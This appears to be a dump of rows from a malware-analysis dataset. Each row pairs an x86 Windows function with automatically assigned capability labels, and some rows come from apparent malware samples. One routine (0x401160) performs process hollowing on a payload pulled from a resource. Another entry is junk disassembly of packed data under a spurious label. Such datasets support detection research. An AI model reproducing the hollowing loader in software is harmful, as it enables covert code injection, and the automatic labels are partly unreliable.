joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10030b81
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x10050d30
call fcn.1004fab8
sub esp, 0x10
cmp byte [ebp + 0xc], 0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
je 0x10030c43
mov dword [ebp - 0x18], 0x756
cmp dword [ebp - 0x18], 0x7a2
jle 0x10030bff
push 0x1365
push 0x19e
push 0x2c6
push 0x2321
call dword [sym.imp.GDI32.dll_CreateRectRgn]
xor esi, esi
xor edi, edi
xor ebx, ebx
mov dword [ebp - 0x14], 0x6452
mov eax, ebx
mov ecx, 0x10067998
xor eax, esi
cdq
push edx
push eax
call fcn.100032d3
add ebx, edi
dec dword [ebp - 0x14]
jne 0x10030bd5
inc edi
cmp edi, 0x1126
jl 0x10030bcc
inc esi
cmp esi, 0x1219
jl 0x10030bca
and dword [ebp - 4], 0
cmp dword [ebp - 0x18], 0x454
jge 0x10030c1b
mov edx, str.qywpdwavv_ziysdrnhc_pbjmmn
mov ecx, 0x10067998
call fcn.100056ca
mov ecx, dword [ebp + 0x14]
or dword [ebp - 4], 0xffffffff
call fcn.1000a63d
jmp 0x10030c4e
push ecx
push ecx
push ecx
mov ecx, dword [ebp + 8]
call fcn.1000ad34
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401480
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x282c
call fcn.0040a450
mov eax, dword [0x412004]
xor eax, ebp
mov dword [ebp - 0x1c], eax
mov byte [ebp - 1], 0
mov byte [ebp - 0x2825], 0
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x2824], 1
mov dword [ebp - 0x10], 0
push 0
push 0x80
push 3
push 0
push 3
push 0x80000000
mov eax, dword [ebp + 8]
push eax
call fcn.00401410
mov dword [ebp - 0x14], eax
push 0
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
cmp dword [ebp - 0x2824], 0
jbe 0x4015ba
mov dword [ebp - 0x2824], 0
push 0x400
push 0
lea edx, [ebp - 0x2820]
push edx
call fcn.004064d0
add esp, 0xc
push 0
lea eax, [ebp - 0x2824]
push eax
push 0x400
lea ecx, [ebp - 0x2820]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x2824]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x18], 0
jne 0x40154a
jmp 0x4015ba
mov dword [ebp - 0x282c], 0
jmp 0x401565
mov ecx, dword [ebp - 0x282c]
add ecx, 1
mov dword [ebp - 0x282c], ecx
mov edx, dword [ebp - 0x282c]
cmp edx, dword [ebp - 0x2824]
jae 0x4015b5
cmp dword [ebp - 0x282c], 0x400
jge 0x4015b5
mov eax, dword [ebp - 0x282c]
movzx ecx, byte [ebp + eax - 0x2820]
movzx edx, byte [ebp - 1]
add edx, ecx
mov byte [ebp - 1], dl
mov eax, dword [ebp - 0x282c]
movzx ecx, byte [ebp + eax - 0x2820]
movzx edx, byte [ebp - 0x2825]
sub edx, ecx
mov byte [ebp - 0x2825], dl
jmp 0x401556
jmp 0x4014e7
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movzx ecx, byte [ebp - 1]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
shl edx, 8
mov dword [ebp - 0xc], edx
movzx eax, byte [ebp - 0x2825]
or eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.00402740
mov esp, ebp
pop ebp
ret
Function at 0x401600
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x412004]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x130], 0
push 0x124
push 0
lea eax, [ebp - 0x12c]
push eax
call fcn.004064d0
add esp, 0xc
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0xffffffff
jne 0x401666
xor eax, eax
jmp 0x4016ef
mov dword [ebp - 0x130], 0x128
lea ecx, [ebp - 0x130]
push ecx
mov edx, dword [ebp - 0x134]
push edx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4016d6
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x4016bd
mov edx, dword [ebp - 0x128]
mov dword [ebp - 0x138], edx
mov eax, dword [ebp - 0x134]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x138]
jmp 0x4016ef
lea ecx, [ebp - 0x130]
push ecx
mov edx, dword [ebp - 0x134]
push edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401687
jmp 0x4016e0
mov dword [ebp - 0x138], 0
mov eax, dword [ebp - 0x134]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402740
mov esp, ebp
pop ebp
ret

Function at 0x401700
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push eax
push 0
push 0x401
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40174f
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [ebp - 8], 0x103
jne 0x401745
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x401ec0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x14]
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], 4
mov dword [ebp - 8], 4
push 1
push 0x41053c
call fcn.00401e00
add esp, 8
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x401f13
push 0
push 0x410550
call fcn.00401e00
add esp, 8
mov eax, dword [ebp + 0x14]
jmp 0x401f6d
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0x10]
push eax
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x401f51
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 0x410564
call fcn.00401e00
add esp, 8
mov eax, dword [ebp + 0x14]
jmp 0x401f6d
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 0x410578
call fcn.00401e00
add esp, 8
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x401f80
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push 1
push 0x41058c
call fcn.00401e00
add esp, 8
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x401fbb
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push 4
lea eax, [ebp + 0x14]
push eax
push 4
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x401ff5
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 0x4105a0
call fcn.00401e00
add esp, 8
or eax, 0xffffffff
jmp 0x402010
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push str.SeBackupPrivilege
call fcn.00401e00
add esp, 8
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x402740
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x412004]
jne 0x40274a
repz ret
jmp fcn.00403291

Function at 0x40bdad
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00407830
and dword [ebp - 4], 0
cmp dword [0x413a38], 0
mov ebx, eax
jne 0x40be5e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40bf0f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40bf0f
push eax
call fcn.004077be
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x413a38], eax
call esi
push eax
call fcn.004077be
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x413a3c], eax
call esi
push eax
call fcn.004077be
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x413a40], eax
call esi
push eax
call fcn.004077be
pop ecx
mov dword [0x413a48], eax
test eax, eax
je 0x40be5e
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004077be
pop ecx
mov dword [0x413a44], eax
mov eax, dword [0x413a44]
cmp eax, ebx
je 0x40beb6
cmp dword [0x413a48], ebx
je 0x40beb6
push eax
call fcn.00407839
push dword [0x413a48]
mov esi, eax
call fcn.00407839
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40beb6
test edi, edi
je 0x40beb6
call esi
test eax, eax
je 0x40bead
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40bead
test byte [ebp - 0xc], 1
jne 0x40beb6
or dword [ebp + 0x10], 0x200000
jmp 0x40beef
mov eax, dword [0x413a3c]
cmp eax, ebx
je 0x40beef
push eax
call fcn.00407839
pop ecx
test eax, eax
je 0x40beef
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40beef
mov eax, dword [0x413a40]
cmp eax, ebx
je 0x40beef
push eax
call fcn.00407839
pop ecx
test eax, eax
je 0x40beef
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x413a38]
call fcn.00407839
pop ecx
test eax, eax
je 0x40bf0f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40bf11
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40ed70
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x40eda1
call fcn.00404372
mov dword [eax], esi
call fcn.0040435f
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.004042f7
add esp, 0x14
push 0x16
pop eax
jmp 0x40edf6
test dword [ebp + 0xc], 0xfffffff9
jne 0x40ed7d
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40edce
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00404385
pop ecx
call fcn.0040435f
mov eax, dword [eax]
jmp 0x40edf6
test al, 0x10
jne 0x40edf4
test al, 1
je 0x40edf4
test byte [ebp + 0xc], 2
je 0x40edf4
call fcn.00404372
mov dword [eax], 5
call fcn.0040435f
mov dword [eax], 0xd
jmp 0x40edc5
xor eax, eax
pop esi
pop ebp
ret
Function at 0x419800
Capabilities:
Get disk information

Disassembly:
push 0
call dword [sym.imp.SETUPAPI.dll_SetupDiDestroyDeviceInfoList]
push 0x4d3064
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ecx, dword [0x4d6aec]
add ecx, eax
mov dword [0x4d6aec], ecx
mov eax, ecx
ret

Function at 0x462bcd
Capabilities:
Encode data using xor

Disassembly:
push cs
mov esi, ebp
cmc
pop es
xchg edx, eax
nop
jo 0x462b7f
test eax, 0xdea5e69a
mov dl, 0x99
and byte [esi - 0x752be068], bh
xacquire xchg dword [ebp - 0x519766f4], edx
clc
xchg edx, eax
js 0x462c68
xor al, 0xea
invalid
out dx, eax
pop es
cmp dword [esi], ebx
xchg edx, eax
inc eax
xchg edi, eax
pop edx
outsb dx, byte gs:[esi]
xchg edx, eax
mov ebx, 0xd7256e75
aas
mov dh, 0xfe
xor al, 0x48
push 0x4770cf9f
adc ah, bl
test byte [edx], cl
push edx
inc eax
xchg ebp, eax
mov dword [0x9857a397], eax
in al, dx
iretd

Function at 0x4c8da5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4d33a8
cmp edx, dword [eax]
je 0x4c8dc7
add eax, 8
inc ecx
cmp eax, 0x4d3438
jl 0x4c8db8
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4d33a8]
jne 0x4c8ef5
mov eax, dword [0x4d8dd0]
cmp eax, 1
je 0x4c8ecf
test eax, eax
jne 0x4c8df8
cmp dword [0x4d32d0], 1
je 0x4c8ecf
cmp edx, 0xfc
je 0x4c8ef5
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4c8e2f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004c9790
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004c9c20
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4c8e72
lea eax, [ebp - 0x1a4]
push eax
call fcn.004c9c20
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4cede4
push edi
call fcn.004cbaf0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004c9790
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004c97a0
lea eax, [ebp - 0xa0]
push 0x4cedc4
push eax
call fcn.004c97a0
push dword [esi + 0x4d33ac]
lea eax, [ebp - 0xa0]
push eax
call fcn.004c97a0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004cba64
add esp, 0x2c
pop edi
jmp 0x4c8ef5
lea eax, [ebp + 8]
lea esi, [esi + 0x4d33ac]
push 0
push eax
push dword [esi]
call fcn.004c9c20
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401160
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x468
mov eax, dword [0x416040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x45c], 0
push 0x400
lea eax, [ebp - 0x404]
push eax
mov esi, dword [edi + 0x3c]
push 0
add esi, edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp dword [esi], 0x4550
jne 0x40133f
push 0x44
lea eax, [ebp - 0x448]
xorps xmm0, xmm0
push 0
push eax
movups xmmword [ebp - 0x458], xmm0
call fcn.00403820
add esp, 0xc
lea eax, [ebp - 0x458]
push eax
lea eax, [ebp - 0x448]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40133f
push ebx
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
push ebx
mov dword [ebp - 0x468], ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x454]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40133e
push 0
push 4
lea eax, [ebp - 0x45c]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x458]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0x40
push 0x3000
push dword [esi + 0x50]
push dword [esi + 0x34]
push dword [ebp - 0x458]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x464], eax
test eax, eax
jne 0x401281
push dword [ebp - 0x454]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push dword [esi + 0x54]
push edi
push eax
push dword [ebp - 0x458]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
mov dword [ebp - 0x460], 0
cmp ax, word [esi + 6]
jae 0x4012f6
xor ebx, ebx
lea ecx, [ebx + edi]
add ecx, dword [edi + 0x3c]
push 0
push dword [ecx + 0x108]
mov eax, dword [ecx + 0x10c]
add eax, edi
push eax
mov eax, dword [ecx + 0x104]
add eax, dword [ebp - 0x464]
push eax
push dword [ebp - 0x458]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x460]
lea ebx, [ebx + 0x28]
movzx eax, word [esi + 6]
inc ecx
mov dword [ebp - 0x460], ecx
cmp ecx, eax
jl 0x4012a8
mov ebx, dword [ebp - 0x468]
push 0
push 4
lea eax, [esi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x458]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [esi + 0x28]
add eax, dword [ebp - 0x464]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x454]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x454]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004021c3
mov esp, ebp
pop ebp
ret
Function at 0x401610
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x416040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0xa
push 0xa
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov dword [ebp - 0x408], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, dword [0x41781c]
mov edi, eax
mov edx, dword [0x417818]
mov ecx, ebx
sub ecx, edx
cmp edi, ecx
jae 0x40166d
lea ecx, [edx + edi]
mov dword [0x41781c], ecx
jmp 0x40169b
jbe 0x40169b
mov eax, dword [0x417820]
sub eax, edx
cmp edi, eax
jbe 0x401683
push ecx
push edi
call fcn.00401810
jmp 0x40169b
mov esi, edi
sub esi, ecx
push esi
push 0
push ebx
call fcn.00403820
lea eax, [esi + ebx]
add esp, 0xc
mov dword [0x41781c], eax
push edi
push dword [ebp - 0x408]
push dword [0x417818]
call fcn.00404cc0
mov eax, dword [0x41781c]
mov ebx, esp
sub eax, dword [0x417818]
mov dword [ebp - 0x408], eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov esi, dword [0x41781c]
sub esi, dword [0x417818]
je 0x401758
cmp esi, 0x7fffffff
ja 0x40179c
cmp esi, 0x1000
jb 0x40171d
lea eax, [esi + 0x23]
cmp eax, esi
jbe 0x4017a1
push eax
call fcn.004021d1
add esp, 4
test eax, eax
je 0x4017a6
lea edi, [eax + 0x23]
and edi, 0xffffffe0
mov dword [edi - 4], eax
jmp 0x401728
push esi
call fcn.004021d1
add esp, 4
mov edi, eax
mov dword [ebx], edi
lea ecx, [edi + esi]
mov dword [ebx + 4], edi
mov dword [ebx + 8], ecx
mov edx, dword [0x417818]
mov esi, dword [0x41781c]
sub esi, edx
push esi
push edx
push edi
call fcn.00404cc0
lea eax, [esi + edi]
add esp, 0xc
mov dword [ebx + 4], eax
mov eax, dword [ebp - 0x408]
mov ecx, eax
call fcn.00401350
mov esi, dword [0x417818]
add esp, 0xc
test esi, esi
je 0x401787
push 0x400
lea eax, [ebp - 0x404]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, esi
call fcn.00401160
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004021c3
mov esp, ebp
pop ebp
ret 0x10
call fcn.00401800
call fcn.004010c0
call fcn.0040559c
int3
Function at 0x401990
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
xor ecx, ecx
mov bh, 1
push edi
mov dword [ebp - 0xc], ecx
movzx eax, bh
mov bl, 3
mov byte [ecx + 0x417418], bh
mov byte [eax + 0x417518], cl
movzx eax, bh
xor bh, bh
test bl, 1
je 0x4019bd
xor bh, al
add eax, eax
mov edx, eax
movzx esi, ax
xor eax, 0x11b
test edx, 0x100
movzx ecx, ax
mov eax, esi
cmove ecx, eax
shr bl, 1
movzx eax, cx
jne 0x4019b6
mov ecx, dword [ebp - 0xc]
inc ecx
mov dword [ebp - 0xc], ecx
cmp ecx, 0xff
jl 0x4019a0
xor edx, edx
mov dword [ebp - 0x14], edx
test edx, edx
je 0x401a14
movzx eax, byte [edx + 0x417518]
mov ecx, 0x417517
sub ecx, eax
mov al, byte [ecx]
cmp edx, 0x100
jae 0x401afc
jmp 0x401a16
xor al, al
movzx edx, al
mov eax, 6
mov byte [ebp - 1], 0
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 8
nop
lea esi, [eax - 6]
mov ebx, 1
lea edi, [eax + 1]
mov ecx, esi
shl ebx, cl
lea ecx, [eax - 2]
and ecx, 7
mov eax, 1
shl eax, cl
mov ecx, dword [ebp - 0xc]
test edx, eax
mov eax, 1
setne dl
dec ecx
and ecx, 7
shl eax, cl
mov ecx, edi
test dword [ebp - 8], eax
setne al
and ecx, 7
xor dl, al
mov eax, 1
shl eax, cl
test dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
setne al
and ecx, 7
xor dl, al
mov eax, 1
shl eax, cl
mov ecx, esi
test dword [ebp - 8], eax
setne al
xor dl, al
test dword [ebp - 8], ebx
setne al
xor dl, al
test bl, 0x63
setne al
xor dl, al
mov eax, edi
shl dl, cl
or dl, byte [ebp - 1]
sub dword [ebp - 0x10], 1
mov cl, dl
mov edx, dword [ebp - 8]
mov byte [ebp - 1], cl
mov dword [ebp - 0xc], eax
jne 0x401a30
mov edx, dword [ebp - 0x14]
movzx eax, cl
mov byte [edx + 0x417618], cl
mov byte [eax + 0x417718], dl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xff
jle 0x4019f2
pop edi
pop esi
mov byte [0x417619], 0x7c
mov byte [0x417794], 1
mov byte [0x41777b], 0
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004025a6
int3
Function at 0x401b50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x416040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov ebx, edx
mov dword [ebp - 0x20], eax
mov esi, ecx
xor edi, edi
nop
mov al, byte [ebx + edi]
mov ecx, edi
mov edx, edi
shr ecx, 2
and edx, 3
add ecx, esi
inc edi
mov byte [ecx + edx*4], al
cmp edi, 0x10
jl 0x401b70
mov eax, dword [esi + 0x14]
xor ebx, ebx
shl eax, 2
mov dword [ebp - 0x18], eax
mov eax, ebx
mov edx, ebx
and eax, 3
shr edx, 2
inc ebx
lea ecx, [eax*8]
lea edi, [esi + eax*4]
mov eax, dword [ebp - 0x18]
add eax, edx
add edi, edx
mov edx, 0xff
shl edx, cl
mov eax, dword [esi + eax*4 + 0x18]
and eax, edx
shr eax, cl
xor byte [edi], al
cmp ebx, 0x10
jl 0x401b93
mov eax, dword [esi + 0x14]
dec eax
mov dword [ebp - 0x18], eax
cmp eax, 1
jl 0x401c60
xor ebx, ebx
mov ecx, ebx
mov edi, ebx
and ecx, 3
shr edi, 2
inc ebx
lea edx, [ecx*4]
add ecx, edi
and ecx, 3
lea eax, [edx + esi]
mov al, byte [eax + edi]
add ecx, edx
mov byte [ebp + ecx - 0x14], al
cmp ebx, 0x10
jl 0x401bd7
movups xmm0, xmmword [ebp - 0x14]
mov ecx, esi
movups xmmword [esi], xmm0
call fcn.00401d00
mov eax, dword [ebp - 0x18]
xor ebx, ebx
shl eax, 2
mov dword [ebp - 0x1c], eax
mov eax, ebx
mov edx, ebx
and eax, 3
shr edx, 2
inc ebx
lea edi, [edx + eax*4]
lea ecx, [eax*8]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov edx, 0xff
shl edx, cl
mov eax, dword [esi + eax*4 + 0x18]
and eax, edx
shr eax, cl
xor byte [edi + esi], al
cmp ebx, 0x10
jl 0x401c18
mov ecx, esi
call fcn.00401d90
mov eax, dword [ebp - 0x18]
dec eax
mov dword [ebp - 0x18], eax
cmp eax, 1
jge 0x401bd5
xor ebx, ebx
mov edi, ebx
mov ecx, ebx
and edi, 3
shr ecx, 2
inc ebx
lea edx, [edi*4]
lea eax, [edx + ecx]
add ecx, edi
mov al, byte [eax + esi]
and ecx, 3
add ecx, edx
mov byte [ebp + ecx - 0x14], al
cmp ebx, 0x10
jl 0x401c62
movups xmm0, xmmword [ebp - 0x14]
mov ecx, esi
movups xmmword [esi], xmm0
call fcn.00401d00
xor ebx, ebx
nop word [eax + eax]
mov eax, ebx
mov edx, ebx
and eax, 3
shr edx, 2
inc ebx
lea edi, [edx + eax*4]
mov edx, dword [esi + edx*4 + 0x18]
lea ecx, [eax*8]
mov eax, 0xff
shl eax, cl
and edx, eax
shr edx, cl
xor byte [edi + esi], dl
cmp ebx, 0x10
jl 0x401ca0
mov edi, dword [ebp - 0x20]
xor edx, edx
mov eax, edx
mov ecx, edx
shr eax, 2
and ecx, 3
add eax, esi
mov al, byte [eax + ecx*4]
mov byte [edi + edx], al
inc edx
cmp edx, 0x10
jl 0x401cd1
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004021c3
mov esp, ebp
pop ebp
ret

Function at 0x402d76
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x402db5
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x402db5
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402db5
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x402db5
cmp dword [ecx + 0x74], 0xe
jbe 0x402db5
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret